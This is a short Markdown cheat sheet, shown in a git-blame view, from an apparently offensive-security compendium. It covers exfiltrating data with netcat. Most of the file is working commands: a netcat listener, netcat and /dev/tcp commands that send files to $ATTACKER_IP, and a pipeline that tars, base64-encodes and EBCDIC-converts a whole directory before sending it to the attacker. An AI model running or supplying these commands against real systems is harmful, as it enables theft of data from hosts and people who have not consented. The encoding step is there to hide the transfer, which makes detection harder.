killchain-compendium/Exfiltration/Netcat.md

40 lines
853 B
Markdown
Raw Normal View History

2022-02-23 23:55:12 +01:00
# Netcat
2023-07-22 22:14:02 +02:00
## Receive data via netcats
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
### Receiver
Set up the receiver to store the data `out.txt`.
2022-02-23 23:55:12 +01:00
```sh
nc -lp 8080 > out.txt
```
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
### Transceiver
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
The transceiver transfers the file through netcat to the already setup receiver.
2022-02-23 23:55:12 +01:00
```sh
nc $ATTACKER_IP 8080 < in.txt
```
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
#### Transceiver tricks
The file `out.txt` can be send without netcat as well in the following way
2022-08-27 23:21:28 +02:00
```sh
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
2023-07-22 22:14:02 +02:00
The connection has to be end manually after a while, this won't happen automatically.
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
### Compress and Encode
2022-08-27 23:21:28 +02:00
2023-07-22 22:14:02 +02:00
To save throughput, compress and encode the transmitted data before it is send
2022-08-27 23:21:28 +02:00
```sh
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
2023-07-22 22:14:02 +02:00
On receiver's side, after `out.data` has been received
2022-08-27 23:21:28 +02:00
```sh
dd conv=ascii if=out.data | base64 -d > out.tar
tar xvf out.tar
```